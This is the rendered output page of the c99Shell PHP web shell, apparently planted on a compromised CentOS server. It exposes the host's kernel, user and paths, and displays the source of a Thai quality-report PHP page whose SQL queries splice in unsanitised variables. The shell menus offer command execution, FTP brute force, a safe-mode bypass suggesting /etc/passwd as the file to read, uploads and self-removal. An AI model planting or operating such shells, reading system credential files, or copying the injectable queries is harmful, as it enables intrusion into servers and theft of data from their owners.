!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/Qa_depart/   drwxr-xr-x
Free 51.01 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     AddQaReport.php (8.48 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

    session_start
();
    
    
/**  Define Validate Access  */
    
define'_VALID_ACCESS');

    
/**  Check Session User Login  */
    
if( !session_is_registered("valid_user") && !session_is_registered("Priority") ) {
        echo 
"<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-874\" />";
        echo 
"<p style=padding-top:115px><p align=center><br /><font color=red><strong>กรุณาทำการ Login ก่อน</strong></font></p></p>";
        echo 
"<meta http-equiv=\"refresh\" content=\"1; URL=../login.php\" />";
        exit();
    } 
    else {
        
/**  Configuration  */
        
require_once( "../configuration.php" );
        require_once( 
$_Config_absolute_path "/includes/framework.php" );
        require_once( 
"../includes/Function.php" );
        
/**  Create Database Object  */
        
$dbObj = new DBConn;
        
$Username $valid_user;
        
/**  Config Table for This Page  */
        
$myTable " qa_project_tb";
        
$myTable2 " qa_qareport_tb";
        
$myTable3  ="qa_report_tb" ;

           
/**  Query เพื่อหา Numrows ก่อน  */
       
$query " SELECT *  FROM $myTable3  WHERE  ReportId='$ReportId'   ";
       
$result $dbObj->execQuery($query);
        
$rs $dbObj->fetchArray($result);
       
        
    
/**  โฟลเดอร์ไฟล์เอกสาร */
    
$doc_path $_Config_live_site."/Qa_pic";         
        
    } 
# else
 
?>
<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<link href="../css/default.css" rel="stylesheet" type="text/css" />
<script language="javascript" src="../js/utilities.js"></script>
<script language="JavaScript" type="text/JavaScript">
<!--
  function browse()
{
pc.Filename.src = pc.Filename.value;
}
<!--

//-->
function chk(c){
if (c.checked){
document.all.Prob1.disabled=false;
document.all.Prob2.disabled=false;
document.all.Prob3.disabled=false;
document.all.Prob4.disabled=false;
}
else{
document.all.Problem.disabled=false;
}
}
</script>

<table width="606" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr>
        <td width="606" height="249">
          <fieldset>
            <label>
              <form action="InsertQaReport.php" method="post" enctype="multipart/form-data" name="pc" id="pc">
                <table width="100%" border="0" align="center" cellpadding="0" cellspacing="0" bgcolor="#CCCCCC" style=" border:0px solid gray"size="12">
                  <tr bgcolor="#eeeeee">
                    <td colspan="3" bordercolor="#CCCCCC" bgcolor="#FFFFFF"><font color="#000000" face="Tahoma">&nbsp;<?php echo htmlspecialchars_decode$rs['Report_name'] ); ?>
                    </a></font></td>
                  </tr>
                  <tr bgcolor="#eeeeee">
                    <td height="29" colspan="3" align="left" bordercolor="#CCCCCC" bgcolor="#FFFFFF">&nbsp; ข้อเอกสาร:
                    <input name="Stand_code" type="text" id="Stand_code" style="text-align:center" onkeypress="checkNumeric()" value="<?php echo $rs['Ind_code'];?>" size="10" /></td>
                  </tr>
                  <tr bgcolor="#eeeeee">
                    <td colspan="3" align="left" bordercolor="#CCCCCC" bgcolor="#FFFFFF"><a>&nbsp; รายการเอกสาร</font></a> :</span></td>
                  </tr>
                  <tr bgcolor="#eeeeee">
                    <td width="24%" align="right" bordercolor="#CCCCCC" bgcolor="#FFFFFF">&nbsp;</td>
                    <td width="2%" bordercolor="#FFFFCC" bgcolor="#FFFFFF">&nbsp;</td>
                    <td width="74%" align="left" bordercolor="#FFFFCC" bgcolor="#FFFFFF">
                      <textarea name="Report_name" cols="60" id="Report_name"></textarea>
                        <script>QBPATH='../editor'; VISUAL=1; SECURE=0;</script>
                        <script src='../editor/quickB.js'></script>
                        <script src='../editor/tabedit.js'></script>
                   </td>
                    
                  </tr>
                  <tr bordercolor="#99CCFF" bgcolor="#86ade2">
                    <td bgcolor="#FFFFFF">&nbsp;</td>
                    <td bgcolor="#FFFFFF">&nbsp;</td>
                    <td align="center" bgcolor="#FFFFFF">&nbsp;</td>
                  </tr>
                  <tr bordercolor="#99CCFF" bgcolor="#86ade2">
                    <td colspan="3" bgcolor="#FFFFFF"><table width="105%" border="0" cellpadding="0" cellspacing="1" class="style1">
                        <tr>
                          <td width="74%"><a>โหลดเอกสาร:</a> 
                              <input name="Filename" type="file" id="Filename" onchange="browse()" size="25" />
                          </div></td>
                          <td width="26%">&nbsp;</td>
                        </tr>
                    </table></td>
                  </tr>
                  <tr bgcolor="#BFD0E6">
                    <td height="16" colspan="3" align="center" bgcolor="#FFFFFF">&nbsp;</td>
                  </tr>
                  <tr bgcolor="#BFD0E6">
                    <td height="28" colspan="3" align="center" bgcolor="#FFFFFF">
                    <input type="submit" name="Submit" value="บันทึกข้อมูล" class="button" />
<input type="reset" name="Submit" value=" เริ่มใหม่ " class="button" />
<input type="button" name="Submit2" value="ปิดหน้าต่าง" onclick="javascript:parent.close();" class="CURSOR-HAND" id="Submit" />
<input name="ReportId" type="hidden" id="ReportId" value="<? echo $rs[ReportId]?>" />
</font><font color="#000000" face="Tahoma">
<input name="projectId" type="hidden" id="projectId" value="<? echo $rs[projectId]?>" />
</font></td>
                  </tr>
                  <tr bgcolor="#BFD0E6">
                    <td height="16" colspan="3" bgcolor="#FFFFFF">&nbsp;</td>
                  </tr>
                  <tr bgcolor="#BFD0E6">
                    <td height="28" colspan="3" bgcolor="#FFFFFF"><table width="583" border="0" align="center">
                      <tr>
                        <th width="569" scope="col">
                        <table width="101%" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#FFFFFF" style="background-color:#eeeeee; border:0px solid gray">
                          <tr bgcolor="#F0F0F0">
                            <td height="26" colspan="3" align="center" bordercolor="#999966" bgcolor="#FFFFFF" class="PADDING-LEFT-10">รายหลักฐานรายย่อย</td>
                          </tr>
                          <?php
              $query 
" SELECT *  FROM  $myTable2  WHERE    projectId='$rs[projectId]'  and   ReportId = '$rs[ReportId]'  ";
              
$result1 $dbObj->execQuery($query);
               
$numrows $dbObj->_numrows;  
                  
?>
                          <?php
                $no 
1+($display-1)*$limit;
                while( 
$rss $dbObj->fetchArray($result1) ) { 
                    
$bgColor = ( $bgColor == "#FFFFFF" ) ? "#F9FBFB" "#FFFFFF";
              
?>
                          <tr bgcolor="<?=$bgColor;?>">
                            <td height="20" align="left"></font></a><?php echo htmlspecialchars_decodenl2br$rss['Report_name'] ) ); ?></td>
                            <td width="11%" align="center" class="PADDING-LEFT-5">
                              <?php if( $rss['Filename'] != "" ) { ?>
                              <a href="javascript:;" onclick="NewWindow('<?=$doc_path;?>/<?=$rss["Filename"]?>','Detail','850','600','yes');"><img src="../images/icons/download.png" alt=" ดาวน์โหลดไฟล์ <?=$rss['Filename'];?> " width="16" height="16" border="0" /></a>
                              <?php } else { ?>
                              <img src="../images/icons/download_off.png" width="16" height="16" />
                              <?php ?>
                            </span></td>
                            <td width="7%" align="center" class="PADDING-LEFT-5"><font size="2" face="Tahoma"><a href="DelReport.php?ReportqaId=<? echo $rss['ReportqaId']?>"><img src="../images/icons/cross.png" alt="ลบข้อมูล" <? echo $rss['ReportqaId']?>  width="16" height="16" border="0" /></a></font></td>
                          </tr>
                          <?php
                    
//$no++;
                
# while
              
?>
                          <tr>
                            <td height="22" colspan="3" align="center" bgcolor="#F8F8F8">ทั้งหมด <span class="NOTE"><?php echo $numrows?></span> รายการ</a></td>
                          </tr>
                        </table></th>
                      </tr>
                    </table></td>
                  </tr>
                  <tr bgcolor="#BFD0E6">
                    <td height="28" colspan="3" align="right" bgcolor="#FFFFFF">&nbsp;</td>
</tr>
                </table>
            </form>
              
            </label>
        </fieldset>
    
      </font></td>
    </tr>
</table>


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.011 ]--